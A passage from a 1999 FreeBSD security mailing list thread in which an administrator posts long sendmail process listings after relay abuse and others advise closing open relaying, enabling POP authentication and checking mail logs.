sendmail: server ABD857C8.ipt.aol.com > [171.216.87.200] child wait (sendmail) > 4288 ?? I 0:00.02 sendmail: server ABD857C8.ipt.aol.com > [171.216.87.200] cmd read (sendmail) > 4328 ?? I 0:00.01 sendmail: server 98C8972D.ipt.aol.com > [152.200.151.45] child wait (sendmail) > 4329 ?? I 0:00.02 sendmail: server 98C8972D.ipt.aol.com > [152.200.151.45] cmd read (sendmail) > 4361 ?? I 0:00.01 sendmail: server 98CC072E.ipt.aol.com > [152.204.7.46] child wait (sendmail) > 4362 ?? I 0:00.02 sendmail: server 98CC072E.ipt.aol.com > [152.204.7.46] cmd read (sendmail) > 4364 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com > [152.166.138.234] child wait (sendmail) > 4367 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com > [152.166.138.234] cmd read (sendmail) > 4369 ?? I 0:00.01 sendmail: server 98CD50D8.ipt.aol.com > [152.205.80.216] child wait (sendmail) > 4370 ?? I 0:00.02 sendmail: server 98CD50D8.ipt.aol.com > [152.205.80.216] cmd read (sendmail) > 4471 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com > [171.208.40.164] child wait (sendmail) > 4472 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com > [171.208.40.164] child wait (sendmail) > 4473 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com > [171.208.40.164] child wait (sendmail) > 4474 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com > [171.208.40.164] cmd read (sendmail) > 4475 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com > [171.208.40.164] cmd read (sendmail) > 4476 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com > [171.208.40.164] cmd read (sendmail) > 4507 ?? I 0:00.01 sendmail: server ABD86D5D.ipt.aol.com > [171.216.109.93] child wait (sendmail) > 4508 ?? I 0:00.02 sendmail: server ABD86D5D.ipt.aol.com > [171.216.109.93] cmd read (sendmail) > 4510 ?? I 0:00.01 sendmail: server ABD96F8E.ipt.aol.com > [171.217.111.142] child wait (sendmail) > 4511 ?? I 0:00.02 sendmail: server ABD96F8E.ipt.aol.com > [171.217.111.142] cmd read (sendmail) > 4525 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com > [152.169.232.146] child wait (sendmail) > 4526 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com > [152.169.232.146] child wait (sendmail) > 4527 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com > [152.169.232.146] cmd read (sendmail) > 4528 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com > [152.169.232.146] cmd read (sendmail) > 4529 ?? I 0:00.01 sendmail: server ABD96E5D.ipt.aol.com > [171.217.110.93] child wait (sendmail) > 4530 ?? I 0:00.02 sendmail: server ABD96E5D.ipt.aol.com > [171.217.110.93] cmd read (sendmail) > 4564 ?? I 0:00.01 sendmail: server > dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] chi > 4565 ?? I 0:00.02 sendmail: server > dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] cmd > 4602 ?? I 0:00.01 sendmail: server ABD6CDDE.ipt.aol.com > [171.214.205.222] child wait (sendmail) > 4603 ?? I 0:00.02 sendmail: server ABD6CDDE.ipt.aol.com > [171.214.205.222] cmd read (sendmail) > 4637 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com > [152.166.138.234] child wait (sendmail) > 4638 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com > [152.166.138.234] cmd read (sendmail) > 4646 ?? I 0:00.01 sendmail: server ABD78E3B.ipt.aol.com > [171.215.142.59] child wait (sendmail) > 4647 ?? I 0:00.02 sendmail: server ABD78E3B.ipt.aol.com > [171.215.142.59] cmd read (sendmail) > 4652 ?? I 0:00.01 sendmail: server 98CD01D6.ipt.aol.com > [152.205.1.214] child wait (sendmail) > 4653 ?? I 0:00.02 sendmail: server 98CD01D6.ipt.aol.com > [152.205.1.214] cmd read (sendmail) > 4666 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com > [152.205.11.74] child wait (sendmail) > 4667 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com > [152.205.11.74] child wait (sendmail) > 4671 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com > [152.205.11.74] cmd read (sendmail) > 4672 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com > [152.205.11.74] cmd read (sendmail) > 4695 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com > [24.6.84.63] child wait (sendmail > 4696 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com > [24.6.84.63] child wait (sendmail > 4697 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com > [24.6.84.63] cmd read (sendmail) > 4698 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com > [24.6.84.63] cmd read (sendmail) > 4700 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com > [152.166.138.234] child wait (sendmail) > 4701 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com > [152.166.138.234] cmd read (sendmail) > 4709 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com > [152.205.79.42] child wait (sendmail) > 4711 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com > [152.205.79.42] cmd read (sendmail) > 4801 ?? I 0:00.01 sendmail: server 98A72163.ipt.aol.com > [152.167.33.99] child wait (sendmail) > 4802 ?? I 0:00.02 sendmail: server 98A72163.ipt.aol.com > [152.167.33.99] cmd read (sendmail) > 4830 ?? I 0:00.01 sendmail: server ABD605BD.ipt.aol.com > [171.214.5.189] child wait (sendmail) > 4831 ?? I 0:00.02 sendmail: server ABD605BD.ipt.aol.com > [171.214.5.189] cmd read (sendmail) > 4839 ?? I 0:00.01 sendmail: server cc353189-a.owml1.md.home.com > [24.3.39.239] child wait (sendmail > 4840 ?? I 0:00.02 sendmail: server cc353189-a.owml1.md.home.com > [24.3.39.239] cmd read (sendmail) > 4845 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] child wait (sendmail) > 4846 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] child wait (sendmail) > 4847 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] child wait (sendmail) > 4848 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] child wait (sendmail) > 4849 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] cmd read (sendmail) > 4850 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] cmd read (sendmail) > 4851 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] cmd read (sendmail) > 4852 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] cmd read (sendmail) > 4860 ?? S 0:00.59 /usr/local/sbin/sshd (sshd1) > 4896 ?? I 0:00.01 sendmail: server 98CD742E.ipt.aol.com > [152.205.116.46] child wait (sendmail) > 4897 ?? I 0:00.02 sendmail: server 98CD742E.ipt.aol.com > [152.205.116.46] cmd read (sendmail) > 4904 ?? I 0:00.01 sendmail: server 98ADEA9D.ipt.aol.com > [152.173.234.157] child wait (sendmail) > 4905 ?? I 0:00.02 sendmail: server 98ADEA9D.ipt.aol.com > [152.173.234.157] cmd read (sendmail) > 4906 ?? I 0:00.01 sendmail: server 98A9848F.ipt.aol.com > [152.169.132.143] child wait (sendmail) > 4907 ?? I 0:00.02 sendmail: server 98A9848F.ipt.aol.com > [152.169.132.143] cmd read (sendmail) > 4918 ?? I 0:00.01 sendmail: server ABD4D9A4.ipt.aol.com > [171.212.217.164] child wait (sendmail) > 4919 ?? I 0:00.02 sendmail: server ABD4D9A4.ipt.aol.com > [171.212.217.164] cmd read (sendmail) > 5034 ?? I 0:00.01 sendmail: server host92.iline.com > [207.30.115.92] child wait (sendmail) > 5036 ?? I 0:00.02 sendmail: server host92.iline.com > [207.30.115.92] cmd read (sendmail) > 5055 ?? I 0:00.01 sendmail: server 98CB1D1B.ipt.aol.com > [152.203.29.27] child wait (sendmail) > 5057 ?? I 0:00.02 sendmail: server 98CB1D1B.ipt.aol.com > [152.203.29.27] cmd read (sendmail) > 5089 ?? I 0:00.01 sendmail: server ABD9AEE0.ipt.aol.com > [171.217.174.224] child wait (sendmail) > 5090 ?? I 0:00.02 sendmail: server ABD9AEE0.ipt.aol.com > [171.217.174.224] cmd read (sendmail) > 5091 ?? I 0:00.01 sendmail: server 98A7BAF4.ipt.aol.com > [152.167.186.244] child wait (sendmail) > 5092 ?? I 0:00.02 sendmail: server 98A7BAF4.ipt.aol.com > [152.167.186.244] cmd read (sendmail) > 5097 ?? I 0:00.01 sendmail: server 98A73695.ipt.aol.com > [152.167.54.149] child wait (sendmail) > 5098 ?? I 0:00.02 sendmail: server 98A73695.ipt.aol.com > [152.167.54.149] cmd read (sendmail) > 5114 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com > [152.205.79.42] child wait (sendmail) > 5115 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com > [152.205.79.42] cmd read (sendmail) > 5116 ?? I 0:00.01 sendmail: server 98AA2318.ipt.aol.com > [152.170.35.24] child wait (sendmail) > 5117 ?? I 0:00.02 sendmail: server 98AA2318.ipt.aol.com > [152.170.35.24] cmd read (sendmail) > 5137 ?? I 0:00.01 sendmail: server ABD15CDE.ipt.aol.com > [171.209.92.222] child wait (sendmail) > 5138 ?? I 0:00.02 sendmail: server ABD15CDE.ipt.aol.com > [171.209.92.222] cmd read (sendmail) > 5149 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] child wait (sendmail) > 5150 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com > [152.201.146.201] cmd read (sendmail) > 5158 ?? I 0:00.01 sendmail: server p359.gnt.com [204.49.91.167] > child wait (sendmail) > 5159 ?? I 0:00.02 sendmail: server p359.gnt.com [204.49.91.167] > cmd read (sendmail) > 5172 ?? I 0:00.01 sendmail: server pm4-249.dialup.flinet.com > [208.14.24.249] child wait (sendmail) > 5173 ?? I 0:00.02 sendmail: server pm4-249.dialup.flinet.com > [208.14.24.249] cmd read (sendmail) > > Is there anything I can do to stop this? > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 11:55:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from waveconcepts.com (waveconcepts.com [207.126.116.40]) by hub.freebsd.org (Postfix) with ESMTP id 47E7615749 for ; Tue, 21 Sep 1999 11:55:41 -0700 (PDT) (envelope-from siberian@siberian.org) Received: from [216.112.76.84] (gamera.siberian.org [216.112.76.84] (may be forged)) by waveconcepts.com (8.9.2/8.9.2) with ESMTP id LAA22442; Tue, 21 Sep 1999 11:52:21 -0700 (PDT) Mime-Version: 1.0 X-Sender: siberian@207.126.116.40 Message-Id: In-Reply-To: References: Date: Tue, 21 Sep 1999 11:55:59 -0700 To: "Mr. K." From: John Armstrong Subject: Re: hackers? Cc: security@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You really really need to turn off relaying and turn on pop authentication ( or use a pop database if your pop users are coming from static IP addresses ). Is your load high? What do you maillogs indicate? Can you trace the source of the problem? Are emails bouncing back to your root acct? When this happened to me not only did I get nailed with the outgoing traffic, I got nailed with tens of thousands of bounces because the idiot spammer did not get a current mailing list. On top of that I got nailed into the blackhole and my ISP shut me down until I fixed it. its a nightmare. If you need a sendmail.cf file that blocks relaying as well as the perl daemon to do pop authentication let me know and I will send it offlist. John- At 8:31 PM -0400 9/19/99, Mr. K. wrote: >I've just recently upgraded to sendmail 8.9, as my host was being used as >a mail relay. I think I am now under some kind of attack. When I do a ps >-x I get the following listings: > > 3814 ?? S 0:00.01 sendmail: server ABD8FFB5.ipt.aol.com >[171.216.255.181] child wait (sendmail) > 3816 ?? I 0:00.02 sendmail: server ABD8FFB5.ipt.aol.com >[171.216.255.181] cmd read (sendmail) > 3829 ?? I 0:00.01 sendmail: server ABD4F010.ipt.aol.com >[171.212.240.16] child wait (sendmail) > 3832 ?? I 0:00.02 sendmail: server ABD4F010.ipt.aol.com >[171.212.240.16] cmd read (sendmail) > 3839 ?? I 0:00.01 sendmail: server 98AC79DB.ipt.aol.com >[152.172.121.219] child wait (sendmail) > 3843 ?? I 0:00.02 sendmail: server 98AC79DB.ipt.aol.com >[152.172.121.219] cmd read (sendmail) > 3855 ?? I 0:00.01 sendmail: server ABD8452B.ipt.aol.com >[171.216.69.43] child wait (sendmail) > 3856 ?? I 0:00.02 sendmail: server ABD8452B.ipt.aol.com >[171.216.69.43] cmd read (sendmail) > 3858 ?? I 0:00.01 sendmail: server 98CB05B2.ipt.aol.com >[152.203.5.178] child wait (sendmail) > 3859 ?? I 0:00.02 sendmail: server 98CB05B2.ipt.aol.com >[152.203.5.178] cmd read (sendmail) > 3863 ?? I 0:00.01 sendmail: server ABD57D59.ipt.aol.com >[171.213.125.89] child wait (sendmail) > 3866 ?? I 0:00.02 sendmail: server ABD57D59.ipt.aol.com >[171.213.125.89] cmd read (sendmail) > 3899 ?? I 0:00.01 sendmail: server >dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] chi > 3900 ?? I 0:00.02 sendmail: server >dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] cmd > 3919 ?? I 0:00.01 sendmail: server 98A6ACF8.ipt.aol.com >[152.166.172.248] child wait (sendmail) > 3921 ?? I 0:00.02 sendmail: server 98A6ACF8.ipt.aol.com >[152.166.172.248] cmd read (sendmail) > 3933 ?? I 0:00.01 sendmail: server ABD8F59A.ipt.aol.com >[171.216.245.154] child wait (sendmail) > 3934 ?? I 0:00.02 sendmail: server ABD8F59A.ipt.aol.com >[171.216.245.154] cmd read (sendmail) > 3965 ?? I 0:00.01 sendmail: server ABD1158F.ipt.aol.com >[171.209.21.143] child wait (sendmail) > 3968 ?? I 0:00.02 sendmail: server ABD1158F.ipt.aol.com >[171.209.21.143] cmd read (sendmail) > 3979 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net >[207.90.108.189] child wait (sendmail) > 3980 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net >[207.90.108.189] cmd read (sendmail) > 3982 ?? I 0:00.01 sendmail: server 98AD84A0.ipt.aol.com >[152.173.132.160] child wait (sendmail) > 3983 ?? I 0:00.02 sendmail: server 98AD84A0.ipt.aol.com >[152.173.132.160] cmd read (sendmail) > 4046 ?? I 0:00.01 sendmail: server ABD306AA.ipt.aol.com >[171.211.6.170] child wait (sendmail) > 4047 ?? I 0:00.02 sendmail: server ABD306AA.ipt.aol.com >[171.211.6.170] cmd read (sendmail) > 4256 ?? I 0:00.01 sendmail: server 98AEC8C1.ipt.aol.com >[152.174.200.193] child wait (sendmail) > 4258 ?? I 0:00.02 sendmail: server 98AEC8C1.ipt.aol.com >[152.174.200.193] cmd read (sendmail) > 4274 ?? I 0:00.01 sendmail: server 98CE2C1D.ipt.aol.com >[152.206.44.29] child wait (sendmail) > 4277 ?? I 0:00.02 sendmail: server 98CE2C1D.ipt.aol.com >[152.206.44.29] cmd read (sendmail) > 4287 ?? I 0:00.01 sendmail: server ABD857C8.ipt.aol.com >[171.216.87.200] child wait (sendmail) > 4288 ?? I 0:00.02 sendmail: server ABD857C8.ipt.aol.com >[171.216.87.200] cmd read (sendmail) > 4328 ?? I 0:00.01 sendmail: server 98C8972D.ipt.aol.com >[152.200.151.45] child wait (sendmail) > 4329 ?? I 0:00.02 sendmail: server 98C8972D.ipt.aol.com >[152.200.151.45] cmd read (sendmail) > 4361 ?? I 0:00.01 sendmail: server 98CC072E.ipt.aol.com >[152.204.7.46] child wait (sendmail) > 4362 ?? I 0:00.02 sendmail: server 98CC072E.ipt.aol.com >[152.204.7.46] cmd read (sendmail) > 4364 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com >[152.166.138.234] child wait (sendmail) > 4367 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com >[152.166.138.234] cmd read (sendmail) > 4369 ?? I 0:00.01 sendmail: server 98CD50D8.ipt.aol.com >[152.205.80.216] child wait (sendmail) > 4370 ?? I 0:00.02 sendmail: server 98CD50D8.ipt.aol.com >[152.205.80.216] cmd read (sendmail) > 4471 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com >[171.208.40.164] child wait (sendmail) > 4472 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com >[171.208.40.164] child wait (sendmail) > 4473 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com >[171.208.40.164] child wait (sendmail) > 4474 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com >[171.208.40.164] cmd read (sendmail) > 4475 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com >[171.208.40.164] cmd read (sendmail) > 4476 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com >[171.208.40.164] cmd read (sendmail) > 4507 ?? I 0:00.01 sendmail: server ABD86D5D.ipt.aol.com >[171.216.109.93] child wait (sendmail) > 4508 ?? I 0:00.02 sendmail: server ABD86D5D.ipt.aol.com >[171.216.109.93] cmd read (sendmail) > 4510 ?? I 0:00.01 sendmail: server ABD96F8E.ipt.aol.com >[171.217.111.142] child wait (sendmail) > 4511 ?? I 0:00.02 sendmail: server ABD96F8E.ipt.aol.com >[171.217.111.142] cmd read (sendmail) > 4525 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com >[152.169.232.146] child wait (sendmail) > 4526 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com >[152.169.232.146] child wait (sendmail) > 4527 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com >[152.169.232.146] cmd read (sendmail) > 4528 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com >[152.169.232.146] cmd read (sendmail) > 4529 ?? I 0:00.01 sendmail: server ABD96E5D.ipt.aol.com >[171.217.110.93] child wait (sendmail) > 4530 ?? I 0:00.02 sendmail: server ABD96E5D.ipt.aol.com >[171.217.110.93] cmd read (sendmail) > 4564 ?? I 0:00.01 sendmail: server >dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] chi > 4565 ?? I 0:00.02 sendmail: server >dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] cmd > 4602 ?? I 0:00.01 sendmail: server ABD6CDDE.ipt.aol.com >[171.214.205.222] child wait (sendmail) > 4603 ?? I 0:00.02 sendmail: server ABD6CDDE.ipt.aol.com >[171.214.205.222] cmd read (sendmail) > 4637 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com >[152.166.138.234] child wait (sendmail) > 4638 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com >[152.166.138.234] cmd read (sendmail) > 4646 ?? I 0:00.01 sendmail: server ABD78E3B.ipt.aol.com >[171.215.142.59] child wait (sendmail) > 4647 ?? I 0:00.02 sendmail: server ABD78E3B.ipt.aol.com >[171.215.142.59] cmd read (sendmail) > 4652 ?? I 0:00.01 sendmail: server 98CD01D6.ipt.aol.com >[152.205.1.214] child wait (sendmail) > 4653 ?? I 0:00.02 sendmail: server 98CD01D6.ipt.aol.com >[152.205.1.214] cmd read (sendmail) > 4666 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com >[152.205.11.74] child wait (sendmail) > 4667 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com >[152.205.11.74] child wait (sendmail) > 4671 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com >[152.205.11.74] cmd read (sendmail) > 4672 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com >[152.205.11.74] cmd read (sendmail) > 4695 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com >[24.6.84.63] child wait (sendmail > 4696 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com >[24.6.84.63] child wait (sendmail > 4697 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com >[24.6.84.63] cmd read (sendmail) > 4698 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com >[24.6.84.63] cmd read (sendmail) > 4700 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com >[152.166.138.234] child wait (sendmail) > 4701 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com >[152.166.138.234] cmd read (sendmail) > 4709 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com >[152.205.79.42] child wait (sendmail) > 4711 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com >[152.205.79.42] cmd read (sendmail) > 4801 ?? I 0:00.01 sendmail: server 98A72163.ipt.aol.com >[152.167.33.99] child wait (sendmail) > 4802 ?? I 0:00.02 sendmail: server 98A72163.ipt.aol.com >[152.167.33.99] cmd read (sendmail) > 4830 ?? I 0:00.01 sendmail: server ABD605BD.ipt.aol.com >[171.214.5.189] child wait (sendmail) > 4831 ?? I 0:00.02 sendmail: server ABD605BD.ipt.aol.com >[171.214.5.189] cmd read (sendmail) > 4839 ?? I 0:00.01 sendmail: server cc353189-a.owml1.md.home.com >[24.3.39.239] child wait (sendmail > 4840 ?? I 0:00.02 sendmail: server cc353189-a.owml1.md.home.com >[24.3.39.239] cmd read (sendmail) > 4845 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] child wait (sendmail) > 4846 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] child wait (sendmail) > 4847 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] child wait (sendmail) > 4848 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] child wait (sendmail) > 4849 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] cmd read (sendmail) > 4850 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] cmd read (sendmail) > 4851 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] cmd read (sendmail) > 4852 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] cmd read (sendmail) > 4860 ?? S 0:00.59 /usr/local/sbin/sshd (sshd1) > 4896 ?? I 0:00.01 sendmail: server 98CD742E.ipt.aol.com >[152.205.116.46] child wait (sendmail) > 4897 ?? I 0:00.02 sendmail: server 98CD742E.ipt.aol.com >[152.205.116.46] cmd read (sendmail) > 4904 ?? I 0:00.01 sendmail: server 98ADEA9D.ipt.aol.com >[152.173.234.157] child wait (sendmail) > 4905 ?? I 0:00.02 sendmail: server 98ADEA9D.ipt.aol.com >[152.173.234.157] cmd read (sendmail) > 4906 ?? I 0:00.01 sendmail: server 98A9848F.ipt.aol.com >[152.169.132.143] child wait (sendmail) > 4907 ?? I 0:00.02 sendmail: server 98A9848F.ipt.aol.com >[152.169.132.143] cmd read (sendmail) > 4918 ?? I 0:00.01 sendmail: server ABD4D9A4.ipt.aol.com >[171.212.217.164] child wait (sendmail) > 4919 ?? I 0:00.02 sendmail: server ABD4D9A4.ipt.aol.com >[171.212.217.164] cmd read (sendmail) > 5034 ?? I 0:00.01 sendmail: server host92.iline.com >[207.30.115.92] child wait (sendmail) > 5036 ?? I 0:00.02 sendmail: server host92.iline.com >[207.30.115.92] cmd read (sendmail) > 5055 ?? I 0:00.01 sendmail: server 98CB1D1B.ipt.aol.com >[152.203.29.27] child wait (sendmail) > 5057 ?? I 0:00.02 sendmail: server 98CB1D1B.ipt.aol.com >[152.203.29.27] cmd read (sendmail) > 5089 ?? I 0:00.01 sendmail: server ABD9AEE0.ipt.aol.com >[171.217.174.224] child wait (sendmail) > 5090 ?? I 0:00.02 sendmail: server ABD9AEE0.ipt.aol.com >[171.217.174.224] cmd read (sendmail) > 5091 ?? I 0:00.01 sendmail: server 98A7BAF4.ipt.aol.com >[152.167.186.244] child wait (sendmail) > 5092 ?? I 0:00.02 sendmail: server 98A7BAF4.ipt.aol.com >[152.167.186.244] cmd read (sendmail) > 5097 ?? I 0:00.01 sendmail: server 98A73695.ipt.aol.com >[152.167.54.149] child wait (sendmail) > 5098 ?? I 0:00.02 sendmail: server 98A73695.ipt.aol.com >[152.167.54.149] cmd read (sendmail) > 5114 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com >[152.205.79.42] child wait (sendmail) > 5115 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com >[152.205.79.42] cmd read (sendmail) > 5116 ?? I 0:00.01 sendmail: server 98AA2318.ipt.aol.com >[152.170.35.24] child wait (sendmail) > 5117 ?? I 0:00.02 sendmail: server 98AA2318.ipt.aol.com >[152.170.35.24] cmd read (sendmail) > 5137 ?? I 0:00.01 sendmail: server ABD15CDE.ipt.aol.com >[171.209.92.222] child wait (sendmail) > 5138 ?? I 0:00.02 sendmail: server ABD15CDE.ipt.aol.com >[171.209.92.222] cmd read (sendmail) > 5149 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] child wait (sendmail) > 5150 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com >[152.201.146.201] cmd read (sendmail) > 5158 ?? I 0:00.01 sendmail: server p359.gnt.com [204.49.91.167] >child wait (sendmail) > 5159 ?? I 0:00.02 sendmail: server p359.gnt.com [204.49.91.167] >cmd read (sendmail) > 5172 ?? I 0:00.01 sendmail: server pm4-249.dialup.flinet.com >[208.14.24.249] child wait (sendmail) > 5173 ?? I 0:00.02 sendmail: server pm4-249.dialup.flinet.com >[208.14.24.249] cmd read (sendmail) > >Is there anything I can do to stop this? > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message ------------------------------------------- Remember, ever ask a geek'why', just nod your head and back away slowly.. --CmdrTaco , http://www.slashdot.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:19:55 1999 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.veriohosting.com (gatekeeper.veriohosting.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id 07F9514BC5 for ; Tue, 21 Sep 1999 12:19:50 -0700 (PDT) (envelope-from hart@iserver.com) Received: by gatekeeper.veriohosting.com; Tue, 21 Sep 1999 13:19:48 -0600 (MDT) Received: from unknown(192.168.1.109) by gatekeeper.veriohosting.com via smap (V3.1.1) id xma029419; Tue, 21 Sep 99 13:19:42 -0600 Received: (hart@localhost) by anchovy.orem.iserver.com (8.9.3) id NAA11256; Tue, 21 Sep 1999 13:18:12 -0600 (MDT) Date: Tue, 21 Sep 1999 13:18:12 -0600 (MDT) From: Paul Hart X-Sender: hart@anchovy.orem.iserver.com To: Joe Gleason Cc: "Mr. K." , security@FreeBSD.ORG Subject: Re: hackers? In-Reply-To: <001501bf0462$94adfdc0$256b52c6@tasam.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 21 Sep 1999, Joe Gleason wrote: > I would suspect spaming through your system. I wouldn't suspect any relaying currently happening, especially if you've upgraded to sendmail 8.9.x and (presumably) updated your sendmail.cf file. You're probably experiencing the backlash from the initial relaying in the form of bouncing messages, refused messages, etc. The large-scale relay abuses that I've witnessed have almost always seemed to generate significant machine loads in the resulting aftermath. I don't know if this is characteristic or not, but the quality of some spammer address lists seems to be about 50% bad addresses (or worse). You may have to turn off sendmail (if possible) for a while until the backlash blows over. Paul Hart -- Paul Robert Hart ><8> ><8> ><8> Verio Web Hosting, Inc. hart@iserver.com ><8> ><8> ><8> http://www.iserver.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:27:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from inbox.org (inbox.org [216.22.145.8]) by hub.freebsd.org (Postfix) with ESMTP id B922714F13 for ; Tue, 21 Sep 1999 12:27:33 -0700 (PDT) (envelope-from bsd@a.servers.aozilla.com) Received: from localhost (bsd@localhost) by inbox.org (8.9.3/8.9.3) with ESMTP id PAA03746; Tue, 21 Sep 1999 15:26:26 -0400 (EDT) Date: Tue, 21 Sep 1999 15:26:26 -0400 (EDT) From: "Mr. K." X-Sender: bsd@inbox.org To: Mike Tancsa Cc: security@FreeBSD.ORG Subject: Re: hackers? In-Reply-To: <3.0.5.32.19990921145047.013e24b0@staff.sentex.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 21 Sep 1999, Mike Tancsa wrote: > At 08:31 PM 9/19/99 -0400, Mr. K. wrote: > >I've just recently upgraded to sendmail 8.9, as my host was being used as > >a mail relay. I think I am now under some kind of attack. When I do a ps > >-x I get the following listings: > > > > They (the spammers) are probably still trying to relay off you. Make sure > your server is indeed setup to block unauthorized third party relays, and > then contact AOL and inform them one of their users is trying to abuse your > resources. > > Look through your maillogs and verify they are indeed being rejected. > I think I figured out what is happening. The relaying is indeed getting denied, but unfortunately some of the spammers software is waiting blindly for a 